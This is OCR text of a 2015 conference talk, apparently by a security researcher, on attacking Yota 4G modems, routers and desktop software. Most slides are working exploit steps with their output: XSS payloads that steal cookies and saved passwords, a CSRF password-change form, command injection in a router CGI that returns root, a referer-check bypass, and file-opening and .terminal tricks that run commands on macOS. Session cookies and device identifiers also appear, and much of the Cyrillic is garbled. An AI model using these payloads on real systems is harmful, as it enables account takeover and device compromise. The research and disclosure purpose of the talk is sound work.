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'WHOAMI?

* Security researcher at HeadLight Security

e “Attacking MongoDB” at ZeroNights 2012

« “Database honeypot by design” at Defcon Russia

* Worked at Positive Technologies since 2012 to 2015
* “Hacking routers as Web Hacker” at Defcon Moscow

e Member of DC7499



ZERODTMEH
WHAT IS 4G IN 20157

Modems, routers, mobile routers, phones, etc
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'WHAT IS YOTA?

Most used YOTA devices:

Yota Lua (simple usb modem)

Yota Swift (modem + wifi router) = /

Yota Many (mobile router)
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WHAT IS YOTA?

Yota web interface:

208 < 5l & myyota.ru & (4]
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Yat Mpodwune Brixog
English

[ )
Yota

Npodwns Bankoeckwe kapTel [natexw Yota 4G

C NOMOLWLID PerynsTopa CKOPOCTH Bbl MOXETE HAacTPOMThL CKOPOCTE AOCTYN2 B MHTEPHET, BuiOpaTk
YCNOBWA NOAKMNOYEHHA WIK NOMEHATL MX B NOG0H MOMEHT 683 A0NONHWUTENLHOW ONNaTsl.

3TO BbIFOAHO - Bbl NNATWTE TOMILKO 38 TO, YTO BaM AEHCTBMTENLHO HYHHO.

CrouvmocTe yenyr oT 0 ao 1400 pyGneld B8 mecay. TpaduK He orpaHHYeH.

SIM Yota YnpasneHve yCTPOHCTBOM ananc | 48
Pyb.

Tekywme 350 64 EecnnaTHo MONONHWTE CHET €

CNoOBWA NpUBA3AHHOW KapThl
Y OHER OCTanock KEuTt/cek (Maxc.) P P

&= MasterCard ... 1337

- &b

(/ >»>)» BuiSepure BeanuMuTHbIi Tapud BuicTpee oid py6.

Hogble MepemecTuTe perynATop CKOPOCTH ANA BLIOOPA HOBLIX YCNOBWA NOAKMIOYEHWA.

AT HDonnara He noTpebyerca. NpW ysenvMyYyeHMM MAaKCMMansHOW CKOpPOCTH
¥ KONMUYECTBO OCTABLWMXCA OHEH YMEHLLWMTCA, NP CHUMEHWW — YBENWUYMTCA.

OnNaTKTb C APYrod KapTel
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'WHAT IS YOTA?

ZERO

Yota software:

MpunoxeHue Yota (Win)

Coemectvmo c Windows 8, Windows 7, Vista, XP (32-bit)

27 Wb

Cka4atk

Mpunoxerue Yota (Mac)

Coemectvmo ¢ Mac 05 X 10.5 Leopard (32-bit), 10.6 Snow Leopard (32-bit), 10.7 Lion, 10.8 Mountain

Lion, 1010 Yosemite

23 Wb
CKa4aTh

O 0O @130ce B M

MNogkniyKTe YCTPOWCTEO

BanaHc
—> BoiTik B Npodrnb

JanaTte BONPOC
CrarucTrka

Beixon

MNogknrounTe yoTpoACTED

BanaHc
33aTk BONPOC

CTaTrcTrea

(20 |
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'WHAT CAN WE ATTACK?

* Yota personal cabinet (XSS, CSRF, Info Leakage)
* Yota Many (Sensitive Info Leakage, RCE)
* Yota Swift (RCE)

* Yota Access (Sensitive Info Leakage, RCE)
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WHAT CAN WE ATTACK?

* Yota personal cabinet (XSS, CSRF, Info Leakage)
* Yota Many (Sensitive Info Leakage, RCE)
* Yota Swift (RCE)

* Yota Access (Sensitive Info Leakage, RCE)
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'YOTA SERVICES

Even 1 XSS can compromise all your data

0@ /,"‘v (, Redirect to payment page .".|\-+

Q Mouck wB O3 AD g =

(;'(- | @ es"><script>alert(document.domain)<%2fscript>142

my.yota.ru

Mepeaaya gaHHbiX ¢ my.yota.ru...
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'YOTA SERVICES

Even 1 XSS can compromise all your data

ra B
o0 [ € nttps:fjmyyo..localesruRU % | i httpy/fyota.nl../bug-xss.html ¥ | 4
i .

Mepenada gaHHbIX © My.yota.ru..,

( (- :- i, | https:imy.yota.ru/pluto/remote/roox.socialmappings.selfcare ?style=123" onErrorss3d alert{document.cookie) — | X Q, NMowmex

w e 4+ A O Eovup-

JSESSIONID=84badaedc28fc9fb1b0fbi01 928b; FwdlLogin=188.93.215.12; _ga=GA1.2.1057339261.1448364670;
___utma=3126200.1057339261.1448364670.1448365017.1448365017.1; __utmb=3126200.1.10.1448365017; __utmc=3126200;
___utmz=3126200.1448365017.1.1. utmesr=(direct) utmcen=(direct) lutmemd={none); __utmt=1; _ym_uid=1448365018514380479;
_ym_isad=0; _ym_visorc_234101B3=w; amlbcookie=rxsse1; NSC_tp-zpubsv-mewtiswis-

iuug-80B0=fffffff090a96 0e45525d514158455e445a4a4229a0; dibcookie=rxlogini;

iPlanatDirectoryPro=AQIC5wWM2LY 4SfcxaOmhPOh2oBadF-
PbnjnAQSvwwEWBsGINE."AAJTSQACMDIAAINLAAKZNZUXODc4MTecAAIMAAIWMO..;
JSESSIONID=84bd6c72a33702eb%ealaci236d7

...but | found 2 of them ;)
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YOTA SERVICES

“XSS is boring, it can’t see my password”

0@ ‘ http:/fyota.hl.../bug-xss.html X H Redirect to payment page ¥ -

e .-':, x Yota - Bxom B Mpoduns ¥ \."._ +

l(- @ | iframe src="https:/imy.yota.ru/selficarefogin" onli = | @ Q Moweck W B 4 fi ® ENoProgyr =

'(- & | hitps:/my.yota.ru/selfcareflogin?goto=https®%3A%2F — | @& | Q Mowck

Yor saved pass: 123123g

cyberpunkych@icloud.com
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YOTA SERVICES

Just another CSRF with password change

@ @ http:/fyota.hl.../bug-xss.html Yota - C i
$ (2] ‘ota.n - gl g [+ MeHa napona . . untitled UhﬁESlSTEqu
& | @  httpsz/my.yota.ru/selfcare/setPassword [ Mowmck
untitled
x MameHeHue napons
. - (1] [ 1] (1] n
Y [ns paweil 6e30NacCHOCTH M3MEHWTE Naponk ANA Bx0aa B JIMYHLIR Kabu actlion= httpﬁ: l.l",.l"l'l'l'l:‘". :."I:}ta . FU;SELTL"E FE;SEtPESSHG r‘d |T|Et|"|[ld= PDST =]
ota type="hidden" name="password" value="_new_password_" /=
type="hidden" name="pconfirm" wvalue="_new_password " /=
HoBbiit naponsb type="submit" wvalue="Submit request" />

MoareepxaeHue napona

CoxpaHWTb

3 selection regions Tab Size: 4

Thnx Yota support with this bug ;)
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YOTA SERVICES

Get user’'s balance by VK id ;)

[ NON Burp Suite Professional v1.6.30 - licensed to Yandex, LLC [5 user license]
Burp Intruder Repeater Window Help

| [ Taraet T Proxw T Spider TEH:anner T Intruder T Repeater T Sequencer T Decoder TCDmparer T Extender Iﬂptinns T Alerts ]

100 4
fplu:afrema:efraax-balanne.vk?view&r_id—l?EQEEElFmEth
od=balance HTTP/1.1

_ R ] . Target: https://my.yota.ru | (| 2
- (—— | 9 ps://my.yo ,|J
Reguest Response

_[ RawT Params T Headers T Hex ] _[ RawT Headers T Hex ]
GET \ & HTTP/1.1 200 O &
/pluto/remote/roox.balance.vkiviewer_ i —l?GdZZGlFmeth | i-Powered-By: YOTA/S3.O
pd=balance HTTEF/1.1 Server: YOTA/3I.O
Host: my.yota.ru Fragma: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac Q5 X Cache-Control: n
12.10; rv:40.0) Gecko/20100101 Firefox/40.0 post-check=0, pr 11 LT 1l . L | I
Accept: application/json, text/javascript, */*;: Expires: Wed, 31 'l I:lal dance b ‘! E P SEUCCEEES :LITue I
g=0.01 | Last-Modified: 1
Accept-Language: ru-RU,ru;g=0.8,en-U05;g=0.5,en;g=0.3 Content-Type: te
Accept-Encoding: gzip, deflate ntfoent-Length: 2%
¥-Requested-With: X¥MLHttpEeguest bDate: Tue, 24 How 2015 12:44:17 GMT
Connection: keep-alive Set-Cookie: FwdLogin=188.%3.215.12 expires=Wed, 215 Hov

2015 12:44:18 GMT; domain=yped.ru

Content-Length: 2%

{"balance" 48 success"1true}

= 3
¥ ¥

[ ? J[ < J[ + J[ > J Type a search term 0 matches [ ? J[ < J[ + J[ > J Type a search term 0 matches
Done 486 bytes | 1 141 millis

...and other small bugs with info leakage, but you want smth more cool, isn’t it?
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YOTA SERVICES

OK, that’s all is really boring. Go next!

o0 e® o vota-Yotad4G  » | @B httpyfy.xsshtml x| 4

€ | @ yotahlsec.ru/bugs/bug-xss.html c » =

Logged in my.yota.ru: True

First & Last name: cyber punk
Email: cyberpunkych@icloud.com
Phone: +7 (965) 314 @1 59

Balance: 48 py6.

ViK: http://vkontakte.ru/idl7642261
FB: No account
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'WHAT CAN WE ATTACK?

Yota personal cabinet (XSS, CSRF, Info Leakage)

 Yota Many (Sensitive Info Leakage, RCE)
 Yota Swift (RCE)

Yota Access (Sensitive Info Leakage, RCE)
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YOTA DEVICES

Just press button and go 4G!

z

...or insert into USB port
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'YOTA DEVICES

ZERO

Web admin panel looks good

& @ 10001 @ Q foueck wWBE U ¥ A D Eoup-

Hacrpoiiku Wi-Fi:

Traporss: || T se————

It's using JSONP to update data in real time

Hmm...
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YOTA DEVICES

Wow, such referer check, nice protection!

[ NON | Burp Suite Professional v1.6.30 - licensed to Yandex, LLC [5 user license]

Burp Intruder Repeater Window Help

Target T Proxy

|

Spider T Scanner

Intruder T Repeater T SEQUEncer T Decoder T Comparer T Extender T Options T Alerts

mr

Go | Cancel [(']l)']

Reguest

_[ Ra.wT Params T Headers T Hex ]

Target: http://10.0.0.1 EJ EJ

Response

_[ RH.WT Headers T Hex ]

Host: 10.02.0.1

¥-Requested-With: ¥MLHttpReques!

Eeferer:

http://yota.hlsec.ru/

1/ecmascript,

Ccookier YElapguaoge=ru 01
Accept-Language:
ru-EU,ru;g=0.8,en-05;9=0.5,en;g=0.3

Arogept-Encoding: gzip, deflate
¥-Regpested-With: XMLHttpEeguest
Eeferer: http://vota.hlsec.ru/f

Cookie: YRlanguage=ru
Connection: keep-alive

s MArillalf5.N iMamintash Intel

Mac

4

b J

l ? Jl = Jl -+ Jl - J ITL",‘JE‘&SE‘&."E.‘] ferm

Ready

0 matches

GET n HTTP/1.1 200 QK
fdeveoontrolicallback=J0ueryl7204%316625038231476 "\ Cache-Control: n - - _ - - -
144836729723 4icommand=getStatuss_=14433c7347400 Expires: 28 Apr llll L Lt r. "t L E E E L E L -
HTTP/1.1

Last-Modified:

e e e DEEp S yota.hleec. ru/f

GMT
Server: lighttpds1.4.33 ///////’

Wrong referer: /////////////,

http://vota.hlsec.ru/

3
¥

l ? Jl < Jl + Jl > ]ITr.'J-:'I 0 matches

215 bytes | 1 024 millis
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Not for us!

[

[ NN ] Burp Suite Professional v1.6.30 - licensed to Yandex, LLC [5 user license]

Burp Intruder Repeater Window Help

( Target T Proxy T Spider T Scanner |

Intruder M SEQUEncer T Decoder T Comparer T Extender T Options T Alerts

i I--‘—‘-!‘—‘——'I—‘—I—I PP ok b bd - II--IJ-II-I—I—EI--‘—‘-"—‘——'I—
Referer: http:/ _."|1 g.2.0.1.yvota.hlsec.ru/ Target: hip://10.0.0.1 (4] (2]
- R e nREguUesL Response
Params T Headers T Hex ] _M Headers T Hex ]
GET |1 HTTP/1.1 200 OK |1
fdeviontrol?callback=j0ueryl7204%316625038231476 F\ Cache-fontrol: no-cache
14483729723 icommand=getStatuss_=144383c7347400 Expires: 28 Apr 1%70 21:17:51 GMT
HTTF/IN1 Last-Modified:
Host I | Content-type: text/javascript;
User-& Mozilla/5.0 (Macintosh; Intel Mac charset=utf-3
a5 ¥ 1 rv:d2.0) Gecko/20100101 bDate: Tue, 24 How 2015 12:18:43
Firefox/42 GMT J)
Accept: text/Jjavascript, | server: lighttpd/1.4.33
application/\yjavascript, application/ecmascript, Content-Length: 750
application/xvecmascript, */*; g=0.01
Accept-Langu JOueryl7204916625038231476_1443367
ru-EU, ru;g=0. n-U5;g=0.5%,en;g=0.23 297234
Accept-Encoding:\ gzip, deflate i
¥-Requested-With:\ ¥MLHttpEegquest "connected":true,
Eeferer: tttp:ffpﬂ.G.G.l.yuta.hlsec.ruf "statusbhescr":"Connected"™,
Cookie: YRlanguage=ru "networkType":"4G6",
Connection: keep-alive { "extHetworkType" :"EUTRANY,
"numWiFilUsers": [1,0,0,0], b
|1 "wiFiEnabled":[1,1,0,0], |1
[?][{][+][:~]|T}rpeasearchre.rm | 0 matches [?][{][+][}]|T}rpe| 0 matches
Done 1015 bytes | 50 millis
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YOTA DEVICES

Router. Bugs. Hmm. RCE?

Burp Intruder Repeater Window Help

Burp Suite Professional v1.8.30 - licensed to Yandex, LLC [5 user license]

[Targﬂt T Proxy T Spider T Scanner T Intruder TRep-aater TEE{]LIEHEEF T Decoder TCDmparﬂr T Extender Tﬂptinns T Alerts ]

[1 72 « (8] -]

Cancel

. Go < || >0

Reguest

_[ RawT Params T Headers T Hex ]

Target: http://10.0.0.1 [Z‘J EJ

Response

_[ RawT Headers T Hex ]

£ oy

Jocgi-bin/sysconf.cgi¥page=ajax.asp&action=pingsurl=| |uname%di-a||sreaso
HTTF,/1.1

n=l&time=1.1.1%4

GET a HTTP/1.1 200 QK n
fogi-bin/sysconf.cgifpage=ajax.aspsaction=pingsurl=|| |lunamg%2i-a| |sreaso ""\I Cache-Control: no-cache -
n=1l&time=1.1.1%87 HTTP/1.1 Expires: 28 Apr 1970 21:17:51 GMT
Host: 10.0.0.1 Last-Modified:
User-Agent: Mozilla/5.0 (Macinmtosh; Intel Mac 05 X 10.11; rv:42.0) Content-Type: text/html
Gecko/20100101 Firefox/42.0 bate: Tue, 24 HNov 2015 12:21:0% GMT
Accept: */* Server: lighttpd/s/1.4.33
Accept-language: ru-EU,ru;g=0.8,en-U5%;g9=0.5,en;g=0.3 Content-Length: 80
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.1.vota.hlsec.ru/bugs/bug-many.htm Lipux 9%6€615-cdp 23.0.21+ #1 PREEMPT Tue Dec 16 14:38:17 ST 2014
Cookie: YRlanguage=ru armv7l GNU/Linux
Connection: keep-alive
Cache-Control: max-age={ t/
=
r A
[ I R I TR N Tirma a canrebh farm M waate o [ I R I I I Tirma 2 caarrh tarm 0 matches

283 bytes | 96 millis

Of course!
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YOTA DEVICES

Router. Bugs. Hmm. RCE?

Burp Intruder Repeater Window Help

Burp Suite Professional v1.8.30 - licensed to Yandex, LLC [5 user license]

[Targﬂt T Proxy T Spider T Scanner T Intruder TREP-EI’EEF TEE{]LIEHEEF T Decoder TCDmparEr T Extender Tﬂptinns T Alerts ]

[1 72 « (8] -]

Go Cancel < v v Target: http://10.0.0.1 w ?
Reguest Response
_[ RawT Params T Headers T Hex ] _[ RawT Headers T Hex ]
GET a HTTP/1.1 200 QK n
fogi-bin/sysconf.cgifpage=ajax.aspsaction=pingsurl=||whoami| |&reason=1& "\ Cache-Control: no-cache -
time= T HTTE/1.1 Expires: 28 Apr 1970 21:17:51 GMT
Host: Last-Modified:
User-Agent: Mozilla/5.0 (Macinmtosh; Intel Mac Q5 X 10. rv:d2. o) Content-Type: text/html
Gecko/20100101 Firefox/42.0 bate: Tue, 24 Mov 2015 12:21:48 GMT
Accept: */* Server: lighttpd/s/1.4.33
Accept-language: ru-EU,ru;g=0.8,en-U5%;g9=0.5%,en;g=0.3 Content-Length: 5
Accept-Encoding: gzip, deflate
Referer: http://1l0.0.0.1.vota.hlsec.ru/bugs/bug-many.html root
Cookie: YRlanguage=ru
Connection: keep-alive
Cache-Control: max-age={ t/
=
r A
0 matches [ ? J[ < J[ + J[ > J Type a search term 0 matches

l ? Jl < Jl S Jl > J Type a search term

akl

fogi-bindsysconf.cgifpage=ajax.aspsaction=pingsurl=| |whoami

S L L - I | i

L A0 |

We are root. Classic.

207 bytes | 128 millis

. | ———
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YOTA DEVICES

Final result:

®Ce / W8 http:f/10.0.0..ug-manyhtml % | Yota Many ® | +
€& | @ 10.0.0.1.yota.hisec.rwbugs/bug-many.htmi @ | Q, MNowck W B8 ¥+ H © Eopr =

Wifi hotspot name: ATOL

Wifi hotspot password: ATOLATOL

Yota ip: 10.164.18.240

Yota IMEI: 358916042907118

Yota IMSI: 250110101388953

Your internal ip: 10.0.0.23

Yota's “uname -a’: Linux 9615-cdp 3.0.Z21+ #1 PREEMPT Tue Dec 16 14:38:17 (5T 2014 armvyl GNU/Linux

Other devices, such as Yota Swift affected too!

Py
! &P « .
i ' /l: Y. )
TAY NN A
| iy, S
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'WHAT CAN WE ATTACK?

* Yota personal cabinet (XSS, CSRF, Info Leakage)
* Yota Many (Sensitive Info Leakage, RCE)
* Yota Swift (RCE)

* Yota Access (Sensitive Info Leakage, RCE)
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YOTA SOFTWARE

Software? But I'm just web script-kiddie ®

~ 000 < o] o 127.0.01 ¢ o M a
9 YotaAccessService.app - 0,22 _
| @ ™ YOTA aF
v ) Yota 0,2 0,38 Her
. OTKitServer-(458) Yota 0.0 - Her
| JON Yota (458) [
Poputensckuid npouece: launchd (1) MonesoeaTens: cyberpunkych (501) [
Mpynna npouwecca: Yota (458)
e LUM: 010 MocnegHde cbou: 0 |

Tile__W. localstorage MoakniouuTe yCTpOACTBO

->@x77dBcdad24705%00
fSystem/Library/CoreServices/SystemfAppearance. bundle/Contents/Resources)
VibrantLightAppearance.car

MamaTe  CTaTHCTHEKE OTEpBITRIE halnel W NOPTHI |'
|

OnuTensHoCTL ceaHea:

Makc. CKOpPOCTbL 38 CeaHc:

—=Bx77dBcdad2ale? b |-
—=Bx77dBcdad?ale?2fh Tekywan cKOpoCTk:
localhost: commplex-main | I
->8x77dBcdad2Badblch M
—=@x77dBcdad2aleyebb |- CurHan:
—=@x77dBcdad2ale?lin A
—=Bx77dBcdad?albbabl I
—=Bx77dBcdad?6d%4clb |' BSID:

I WpexTudukaTop:

Bubopka 3aBepWwKTh

Wow, web interface on 5000 port. Interesting...
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Oh, this web again. | love it.

®_® GET request to http://127.0.0.1:5000/events?lastEventld=&r=52966926762272086

| Previous | | MNext || Action |

[ Request yResponsey) e S

_MH““E“TH“] Access-Control-Allow-Origin:

HTTP/1.1 200 QK ) ’ ' B
Connection: keep-alive

Access-Control-ARllow-0rigin: *

Cache-Control: no-cache

Content-Type: text/event-stream

Date: B*N , 24 bkbul B4, 2015 12:55:55 GMT

| &

event! storagelnitEvent

data: {"LAST ROS: REZULT":"{‘"cm\":{\"welcomeicreen’":\"\",“WadditionalText \":{Ven_U3\":\"Hetwork
segment i= temporary overloaded\",“"ru RUMN':%WWE =zToM padoHE CETE BPEMEHHD

neperpyxesa’” |, V'menuTurboText " {"en_Us\":\"REequest coverage improvement\",“"ru_ RUM":\"OcTaewnTe
SAABKY HE YIVHLEHHE

gavecTeEar"}, v\ "turbolcon\" A" TE_Manh ", \"traylcomi":\"Tray_Yellow\",“"trayStatusText\":{Ven_ Uz ":%"H
etwork segment is temporary overloadedh",\"ru EU\":“"BE zTOoM pafioHe CETE BPEMEHHO
neperpyxeHat” }, vV'mainText " {"en_ U3 " :""Connected to Yota'",“"ru RUN":\"[logenoueH
Yota'\"},vshowTurboButtonh "1, A" turboText " {WMen_UsA" A"V, A" ru ROA" A4 "} A MadditionalLlinkh™: {W"e
n_Us\":""http://www.yota.ru/bsload?¥{bs_status] ", \"ru RU\":""http://www.yota.ru/bsload?{bs_status]h
"}eW"barslconh "\ "EBars Warningh", W flyoutTitleText\": {""en_ U3 \":\"Hetwork i=s temporary
overloaded\", " "ru_RUY":\"CeTe BpeMEHHOD

neperpyxeHa’" | VitrayHintText \": {"Men_Us3" A" W" A" ru EDA" 20" W) A "turbolink " {W"en_U33\":\"http://w
ww.yota.ru/bsload?{bs_status}\",V'ru_ RUN":N"http://www.yota.ru/bsload?{bs_status}i\"}},"locales\": [
Wren_ Ush",A\"ru ROAY],W"turboWidgeti": {\"buttonAction®™: {\"en_ U3 "":4"\",""ru RUA" A"\ ), \"buttonlcon
WA A" showButtont M 0, V" buttonText " {WMen_U34" A"V A "ru RO 4 "A\" )}, \"belnfo\": {"baStatus\":3
S, "avglsers \":1 56, \"regionld\ " \"MOSCOWA" 11", "com. roox.cm. Common . App. NewsForm. Properties.unit.Heigh |1L

EB|ESENIES

Type a search term | 0 matches
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YOTA SOFTWARE

Send  request and wait for reply on 5000/ events'

R B B T

YOTA yota_event_logging.htm G
get info send info

01. Report Ceneration Time (Local): 24.11.2015, 16:10:34

02. Report Ceneration Time (UTC): 24.11.2015, 13:10:34

15. YOTA Version: ¥YD3.1.0

16. YOTA State: No Device

17. Operating System: Mac 0S X

18. Operating System Version: 10.11.1 (15B42)

® @ 1. cyberpunkych@cyberpunkych: python (Python)

"id": " com.roox.cm.account.update", "data": {"context": {"slider":{"isVisible":false,"isEnabled": false, "backSlider":{
“value":-1,"isVisible":false}, "applyButton”: {"text": "MogxmounTs","isEnabled": false}}, "hint": {"isVisible":false},"p
roduct”: {"caption”:"Texkyume ycnosus","actualityDate":"","isEnabled":false,"isVisible":false,"price":{"caption":"Cr
ommocTb", “value":""}, "speed": {"caption": "CkopocTs", “value":""}, "time" : {"caption”: "Bpemenn ocranocs","value":""}3},"
offer"'{"captton"'"Hoaue ycnoeus" , "actualityDate":"","isVisible":false, "price":{"caption"”:"CromocTs", "value":""},

“speed":{"caption”:"CkopocTn","value":""}, "time" .{"caption":"BpeMeHn OCTaHeTca","value“:""}},"balance".{"lsV151b1e
":true,‘capt1on“:"Banch",“value":""},"turbo":{"isVisible":false,"isEnabled":false,"caption“:"annqub MaKC. CKOpO
cre”, "offers": [}, "selfcare”: {"isVisible":true, "text": "Boittu 8 Mpoduns"}3}}, " __messageSource":"cd3520e2-7cf9-1489-6
6a5-83ec2fa87a16"}

{"1id" : "com. roox. cm.Common.App.Events. SummaryCollectingStarted", "data": {"kind":2,"isDetailed": false}}

"id": "com. roox, cm.Common.App . GenerateSummary" , "data": {"isDetailed": false, "kind" :2}," __messageSource" : "54f35129-49
57-bafe-3fad-e29acfdd88db"}

{"id" : "com. roox. cm.Common.App. Events. SummaryCollectingCompleted”, “data": {"kind":2,"isDetailed": false, “content™:"01
. Report Generation Time (Local): 24.11.2015, 16:11:04\n@2. Report Generation Time (UTC): 24.11.2015, 13:11:
94\n\n15. YOTA Version: YD3.1.0\n16. YOTA State: No Device\nl7. Operatin
g System: Mac 0S X\n18. Operating System Version: 10.11.1 (15B42)\n19. Computer Manufactur
er: Apple\n20. Computer Model: MacBookPro9,2\n\nYOTA Full Version:
Master-147_6446_auto_YD_RUS (YD_RUS)\nDeveloped by RooX (TM) www.rooxteam.com\n"}}




.

YOTA SOFTWARE

Ok, we can read some data, and so?

[ ] ® Burp Suite Professional v1.8.30 - licensed to Yandex, LLC [5 user license]
Burp Intruder Repeater Window Help

[ Target T Proxy TSpidEr TScanner T Intruder T Repeater TSEquancer T Decoder TCnmparEr T Extender T Options T Alerts ]

(172 =3 « Japa] . )
T Cancel < | > |

Target: http:/ /localhost5000 E“J EJ

Request Response
J R.awT Params T Headers T Hex ] J RawT Headers I Hex ]
POST Jaction HTTE/S " HTTE/1.1 200 OK A
Hr : localhos - Content-Length: 2 -
User-Agent: W f%.0 (Macintosh; Intel Mac O35 ¥ 10.11; rv:42.0) Cache-Control: no-cache
Gecko,/20100121 Firefox/42.0 Content-Type:
Accept: */¢ /ison
Accept-Language: ru-RU,ru;g=0.3,en-05%;g=0.5,en;g=0.3 11 keep-alive
Accept-Encoding: gzip, deflate 1 BER, 24 PeBuR Bt
Content-Type: application/x-www-form-urlencoded 13
eferer: http://10.0.0.1.yota.hlsec.ru/bug ota_event_ logging.html
. 141 {1
fA10.0.0.1.yota.hlsec.ru
keep-alive
-cache
Cache-Control: no-cache
IEEE LR Ctdatanivy - -
asy" led " :Ealze, " "
fald-e2%acfddidddb\"}"}
{"id" :"message","data":"{\"id\":W"com.roox.cm. Common . App.Generatesummary ", v"dat = .
. . - . . . - - ¥ ¥
ah": "izhetailed\":falee, " "kind " :2],%\" messageSourceh":\W"54£3512%-4557-batfe- — — — /|
1fal-g scfddaadhh ™ 1" itches l ? Jl{Jl+Jl} J 0 matches

Done 165 bytes | 1 009 millis

My lovely game - playing with parameters & requests!
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Change true to false and get all information about your machine!

@1. Report Generation Time (Local):  25.88.2015, 13:09:56
@2. Report Generation Time (UTC): 25.08.2015, 10:09:56

85. IP Address: 19.134.199.132
@6. ID: 181259677

@7. ECGI: 25011F 271664
@8. Signal (SINR/RSRP): 2/-85

15. YOTA Version: ¥D3.1.8

16. YOTA State: Connected

17. Operating System: Mac 05 X

18. Operating System Version: 10.18.5 (14F27)
19. Computer Manufacturer: Apple

20. Computer Model: MacBookPro9, 2

38. WWAN Technology:
31. Network:

32. ECGI:

33. Freguency:

34. Signal Level =~

Al
5c7®® 100: flags=B849 mtu 16384

options=3
inet6 ::1 prefixlen 128
inet 127.8.0.1 netmask @xffooo000
inet6 feB@::1%1lo@ prefixlen 64 scopeid @x1
inet 127.94.0.1 netmask @xffoo0000
nd6 options=1

gif@: flags=8010 mtu 1280

stf@: flags=0< mtu 1280

end: flags=8863 mtu 1500
options=18b
ether aB:20:66:21:d7:58
nd6 options=1
media: autoselect (none)
status: inactive

; enl: flags=8823 mtu 1500

ether 20:c9:d0:cd:fa:af
nd6 options=1
media: autoselect ()
status: inactive

en2: flags=8963 mtu 1500
options=6@
ether d2:00:16:71:66:20
media: autoselect
status: inactive

fwd: flags=8822 mtu 4078
1laddr a8:20:66:ff:fe:67:16:62
media: autoselect
status: inactive

p2p@: flags=8802 mtu 2384
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OK. WHERE IS RCE?!1

T AL Lo
A N\ a
4 d ‘. | \

A
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Here.

Request Response
_M Params T Headers T Hex ] _M Headers T Hex ]
POST faction HTTE/1.1 |1 HTTEF/1.1 200 OK
Host: localhost:5000 Content-Length: 2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 ¥ 10.11; rw:d42.0) Cache-Control: no-cache

Gecko/20100121 Firefox/42.0

Content-Type: application/Jjson
Bocept: */*

Connection: keep-alive

Accept-language: ru-RU,ru;g=0.8,en-U5%;g=0.5,en;g=0.3 Date: B*H , 24 BBYA £+, 2015 13:28:
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded {1

Content-Length: 1&l
grigin: null
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

{"id" : "message", "data”: " {Wid\":\"com. roox.cm. Common. App.Openlrlh”, \"data\":
{wWrurlyt M Eiles S fApplications/Caloculator.appt” |, " __messageSourceht™:\Many_
texth" "]

8

A =
{"id" : "me=s=sage", "data":"{"id\": " com.roox.cm.Common . App . Openlelnt W "data\ "

{H“Lrlk":H"file:IIjhppli:atinns!tal:ulatnr.appk“],H"__mEEEagEEDLrnEE“:E“any%
texth"1"]
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Short instruction for OS X:

From opening file to full RCE

S open ftp://anon@1.1.1.1/ - will mount ftp to /Volumes/1.1.1.1/
terminal file could exec any commands after opening
Sometimes you can get root without any exploits! (remember ‘sudo’ feature in 0S X ©)

e B8
v - _nsurlstoraged:*:243:243:NSURLStorage Daemon:/var/empty:/usr/bin/false !
. . -] yﬂtﬂ_rce.term|na| Uh‘ REU'STE '_'!E:l _displaypolicyd:*:244:244:Display Policy Daemon:/var/empty:/usr/bin/false

astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false
KBRSt e 246 2= = e e PO e e
_gamecontrollerd:*:247:24

_mbsetupuser:*:248:248:5¢

yota_rce.terminal

_ondemand:*:249:249:0n De

el A -'-":;_I' "-'-"'-"-_'“ el — e et — _xserverdocs:*:251:251:08 PWND!!
{kEPHlndWTlt‘l_E{kaP _WWWDPrOoXy:%:252:252: WwW F
1 j cyberpunkych@ ch
<string=Hacked!!!</string= .am fnancl OtmenuTs oK i
! Darwin cyberpunkych-2.loc
{kepcummandSt rlng{"fkep | B - 3:46 PDT 2015; root:xnu-3247.10.11~1/RELEASE_XB6_64 x86_64
<string= cyberpunkyche 2|~
< ) sudo id
cat fEtfj’pﬂSEHd; uid=08(root) gid=0(wheel) groups=@(wheel),1(daemon),2(kmem),3(sys),4(tty),5(opera E
tor),8(procview),9(procmod),12(everyone),208(staff),29(certusers),61(localaccount
uname -a: Yota RCE s),80(admin),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),395(com e
Sudu j.d .apple.access_ftp),101(com.apple.access_screensharing-disabled),399(com.apple.ac
" ; ; Wait... cess_ssh),701(com.apple.sharepoint.group.1)
psascript -—-e 'display dialog "PWND!!1"' Wait for it... cyberpunkyche 3l _
- " 1_ osascript -e 'display dialog "PWND!!1"'
</string= PWNED!!1 ]
<fdict> )
ﬂ.n"lﬂ.j.ﬁt} l
6 lines, 154 characters selected Tab Size: 4 Plain Text
1
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ftp://anon@serv/
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YOTA SOFTWARE

Video here.
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CONCLUSION

Test yourself here - http://yota.hlsec.ru/
Questions?

& yota.hisec.ru/#1 c | Mowck wB U 4 A ® ENopPoxy~



http://yota.hlsec.ru/
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CONCLUSION

Thnx:

 Oleg Kupreev (@090h)

* Sergey Vishnyakov (@n3twOrk)
e Timur Yunusov (@a66at)
 Dmitry Evteev (@devteev)

* Vyacheslav Egoshin (@vegoshin)
 PsychOtrla (@PsychOtrla)

e DC7499 and 2600 community
 Matt Austin (From XSS to RCE)

/ L L \
| ! \ ’ \
4 » ’ / : \

’ d ‘ | |


http://maustin.net/2015/11/12/hipchat_rce.html

BYE!

Thank you for the attention!

@cyberpunkych




